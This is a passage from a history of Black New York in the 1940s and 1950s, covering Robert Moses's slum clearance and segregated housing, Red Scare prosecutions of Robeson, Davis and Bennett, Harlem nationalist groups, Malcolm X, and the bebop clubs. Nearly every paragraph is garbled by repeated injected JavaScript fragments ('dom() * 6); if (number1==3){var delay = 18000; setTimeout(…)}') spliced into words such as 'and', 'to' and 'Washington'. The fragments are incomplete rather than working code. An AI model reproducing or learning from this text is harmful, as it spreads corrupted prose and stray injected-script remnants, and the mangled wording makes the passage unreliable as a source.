          “There were dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too many people full of hate dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and bitterness crowded indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a dirty, stinky, uncared-for closet-size section of a great city,” Claude Brown wrote. “The children of these disillusioned colored pioneers inherited the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total lot of their parents—the disappointments, the anger. To add dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their misery, they had little hope of deliverance. For where does one run dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to when he’s already in the promised ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and?”

          Starting in the mid-1940s, the Promised Ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and’s ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andscape was drastically altered dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the city became increasingly segregated. The main architect of these transformations was the urban planner Robert Moses, who controlled New York City highway dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and housing development from the 1930s dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 1950s, leading the offensive that would restrict black residents dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ghetdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toized neighborhoods.

          In 1943, he engineered the passage of New York State’s Urban Redevelopment Companies Act, which made it legal for real estate companies dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exclude blacks from housing developments such as MetLife’s Parkchester in the Bronx dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Stuyvesant Town on East 14th Street in Manhattan. MetLife announced the building of the Riverdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton in Harlem in 1944 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to answer critics. The 1949 Housing Act providing federal funds for “slum clearance” enabled Moses dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to launch vast programs. His evictions of predominantly black, Hispanic, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and poor people—250,000 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to build expressways, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and another 250,000 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to build housing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other non-highway public works—created new slum areas as he eliminated old ones.

          The razing of black neighborhoods was paralleled by the construction of low-income projects. They were often unsafe, segregated, poorly planned dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and constructed, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and located in the most impoverished neighborhoods. During the 1950s, about one-third of East Harlem was leveled dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create the Wagner, Taft, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Jefferson complexes. More than 75,000 low-income units were constructed, housing more than 500,000 tenants. “The Projects” would become virtually synonymous with “the ghetdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to,” shaping perceptions of African-American life dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and culture.

          The Federal Housing Act of 1954 made low-interest loans available for urban renewal dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and redevelopment. Critics argued that slum clearance was used dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to control the city’s racial geography, demolish black neighborhoods for white private development, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and buffer white neighborhoods from blacks. Most private projects were segregated; the Amsterdam News revealed in 1952 that of 23,000 apartments in 22 private but publicly assisted buildings, a mere 27 were rented dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to African Americans. By 1955, 300,000 people lived in 74 New York City public housing projects, one-third of whom were black.

          Middle-class African Americans encountered housing obstacles of their own with banks reluctant dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lend them money. One of the most influential forces in maintaining housing segregation was the federal government. The policies of federal agencies such as the Home Owners’ Loan Corporation dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Federal Housing Administration furthered racial segregation. Mapping dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and appraisal systems developed by these agencies favored the growth of white, suburban housing developments dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and created obstacles for African Americans who wished dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to obtain home loans. They were forced dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remain in poor, substdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andard neighborhoods. It is in this context that on November 5, 1948, African Americans founded the Carver Federal Savings dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Loan Association, named for scientist George Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Carver. The bank—still the largest black-operated bank in the country—opened at 53 West 125th Street in Harlem in January 1949, providing mortgages dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to local residents.

          On December 5, 1957, New York became the first city dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legislate against racial or religious discrimination in the housing market with the adoption of a Fair Housing Practices Law; but notwithstdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anding continued protests dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and sustained actions, New York City remained thoroughly segregated. In the Bronx, 91 percent of African-American dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Puerdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rican residents lived in the borough’s southern part. Harlem was almost entirely African-American, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 86 percent of all black Brooklynites were concentrated in Bedford-Stuyvesant.

Political Activism

          During the Cold War, the “Red Scare” of the 1940s dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ’50s hunted down leftists dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Communists dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and their sympathizers. Several black intellectuals dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and artists were targeted. Harlem Renaissance writer Gwendolyn Bennett was suspended from her job at the head of the Harlem Community Arts Center in 1941 because of accusations that she was a Communist. She was charged with violating Section 15-F of the Emergency Relief Appropriation Act, which stipulated that no Communist could be employed on any WPA project. Bennett denied the accusation, stating: “I am not a Communist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and have never been one. I am perfectly innocent of any charge.”

          Two years later the House Un-American Activities Committee targeted two alternative community-based Harlem schools, the Jefferson School for Democracy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the George Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Carver School, as hotbeds of communism. Bennett, direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of the Carver school, was ousted from her post. NAACP Executive Secretary Walter White, distancing his own organization from any possible charges of Communist influence, characterized the schools as among “a group of similar institutions with which the communists were seeking dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to increase their influence among Negroes.”

          Black Nationalist, Communist Party member, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and edidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of Negro Affairs, Trinidad-born Claudia Jones spent a year in prison for “un-American activities.” When she was deported dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the United Kingdom in December 1955, several hundred people gathered at the Theresa Hotel in Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to send her off.

          New York City Councilman Benjamin Davis, Jr., was one of eleven Communist leaders convicted on September 23, 1949, in federal court of conspiring dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overthrow the United States government. Nevertheless, his name remained on the November election ballot, but he lost dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a coalition cdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andidate representing the Republican, Democratic, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Liberal parties. In 1951 Davis was sent dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to federal prison in Indiana, where he remained for three years dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and four months. At the end of his sentence, he served an additional two months at the Allegheny County Jail in Pittsburgh, Pennsylvania, for having refused, in 1953, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reveal the names of people belonging dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Communist Party’s Commission on Negro Work.

          On June 28, 1950, famed singer, acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and activist Paul Robeson, speaking at a Civil Rights Congress rally at Madison Square Garden, called on President Truman dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top sending troops dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Korea, stating, “I have said it before dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and I say it again, that the place for the Negro people dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fight for their freedom is here at home.”

          Robeson’s career dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and income tumbled as he refused dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to denounce the Soviet Union. With his wife dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and manager, anthropologist Esldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda Goode Robeson, he was summoned dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to testify before a Congressional Committee on June 12, 1956. When asked why, if he liked Russia so much, he did not stay there, he replied, “Because my father was a slave, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and my people died dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to build this country, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and I’m going dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stay right here dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and have a part of it, just like you. And no fascist-minded people like you will drive me from it. Is that clear?”

          Langsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Hughes dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too was called dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to testify before the Senate Permanent Sub-Committee on Investigations chaired by Senadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Joseph McCarthy. He admitted past sympathy for the Communist Party but denied having ever been a member.

          Following the demise of Marcus Garvey’s Universal Negro Improvement Association, several nationalist groups with international dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and African-centered interests emerged in New York. One was the United Sons dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Daughters of Africa, headquartered in Brooklyn. But the two most prominent organizations were based in Harlem. The Universal African Nationalist Movement led demonstrations against colonialism in Africa. The other group, the African Nationalist Pioneer Movement, was founded by Dominican-born Carlos Cooks. Before the Black Power movement of the 1960s dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ’70s, Cooks organized a convention in 1959, which proposed that “Negro” be replaced with “African” dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and “Black.” He advocated a “Buy Black” campaign, stating, “Patronize your own race. Build a solvent foundation for your children. Help create employment dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and independence for your race.”

          The United African Nationalist Movement, founded in 1948 by James R. Lawson, wanted the United States dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to advocate decolonization dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and provide as much aid dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to African countries as dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Europe. The UANM had close ties dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to anticolonialist leaders dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the United Nations African diplomats dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and heads of state from independent countries such as Guinea, Sudan, Ghana, Morocco, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tunisia. The UANM cosponsored, with the New York Temple of Islam dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Ethiopian Orthodox Church, a “Miss Africa Day.”

          The period was also marked by numerous boycotts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and demonstrations against discrimination in employment. Black New Yorkers fought for unions dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and against low wages. They demonstrated against lynching dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the degrading portrayal of blacks in films such as D. W. Griffith’s The Birth of a Nation dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Walt Disney’s Song of the South. Scdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andal erupted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and demonstrations were organized in 1951 when entertainer Josephine Baker accused the Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tork Club of refusing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve her.

          The 1950s in Harlem saw the charismatic presence of Malcolm X on his second sojourn in the city. Although he was born in Omaha, Nebraska, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lived in Detroit dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Bosdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, at age sixteen, in 1941, Malcolm Little had moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem. He worked at the famous Smalls Paradise on 135th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and by 1942 he was involved in prostitution, gambling, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and drug rings. Malcolm moved back dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Bosdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton in 1944 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and spent six years in prison, where he converted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Islam.

          Working diligently for the Nation of Islam throughout the country, Malcolm X (he had changed his name in 1953) moved back dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York City in 1954 when he was named Minister of New York Temple 7 in Harlem. After marrying Betty X (Saunders), he moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to East Elmhurst, Queens, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a house owned by the Nation of Islam.

          In 1957 Malcolm X assembled the city’s first major Muslim protest dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and negotiated a release dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the hospital for Johnson Hindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, a member of his mosque who was arrested dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and brutally beaten for intervening with a police officer who had beaten two African Americans. The group marched in formation behind the ambulance dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and remained at the hospital until docdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors pronounced Hindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton out of danger. In the temple dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on Harlem street corners, Malcolm lectured on his Black Nationalist doctrine, “We are black first dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and everything else second.”

          Garveyites, Nationalists, Muslims, Communists, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the emerging fashion of African-inspired clothes were noticeable on the streets of Harlem; while the struggles of colonized peoples dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the new reality of African diplomats inspired the crowds. As Maya Angelou recounted, in 1959, 125th Street “was dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem what the Mississippi was dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the South, a long traveling river always going somewhere, carrying something. . . . Men dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told concerned crowds of the satanic nature of whites dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the divinity of Elijah Muhammad. Black women dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and men had begun dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wear multicolored African prints. . . . Clever appliance-sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore owners left their TV sets on the channels broadcasting U.N. affairs. I had seen black people stdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anding in front of the sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores watching the faces of international diplomats.”

Culture dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Entertainment

          With few facilities for recreation, a large part of people’s life revolved around the street. Children dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and adults alike transformed it indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to playgrounds dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and sports fields. People gathered on the street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celebrate, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and be seen, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spend evenings in the breeze, away from the oppressive heat of small dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and overcrowded apartments. Street vendors dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and markets established themselves.

          Segregated residential patterns spawned flourishing institutions in black neighborhoods, including a thriving nightlife. On the musical front, the 1940s were a high time for jazz in New York, particularly in Harlem. Black saxophonist Henry Mindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton opened Mindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton’s Playhouse in 1938 on West 118th Street. Two famous clubs were born in 1942: the Lenox Lounge at Lenox dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 125th Street; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Lucky’s Rendez-Vous, owned by Lucky Roberts—Duke Ellingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton’s pianist—at St. Nicholas Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 148th Street. The latter attracted a large gay clientele. The Baby Grdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, owned by a former Cotdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Club dancer, opened its doors in 1947 at 319 West 125th Street.

          Bebop was born at Mindom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton’s, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the most creative dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and famous musicians played in all the updom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town clubs. Many were southerners of the first or second generation. Max Roach, a North Carolinian, had grown up in Brooklyn; Dizzy Gillespie migrated from South Carolina in 1937; John Coltrane, born in North Carolina, joined Miles Davis in New York in 1955 after several years in Philadelphia. Thelonious Monk from North Carolina grew up in Manhattan. Kansas-born Charlie Parker moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York in 1939; Miles Davis from East St. Louis arrived in 1944.

          The Negro Acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors Guild (NAG), formed in New York City in 1936, counted seven hundred members in the 1940s. The Guild was a welfare dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and benevolent organization. Noble Sissle served as its first president; Bill Bojangles Robinson was honorary president; Fredi Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, who starred in the 1934 film Imitation of Life, was the first executive direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and secretary dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and also worked as a columnist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and theater edidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor for the People’s Voice, a weekly newspaper published by her brother-in-law, Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell, Jr.; W. C. Hdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andy was treasurer; Cab Calloway was chairman of the executive board; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ethel Waters, Marian Anderson, Duke Ellingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Paul Robeson, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Louis Armstrong, among others, were vice presidents.

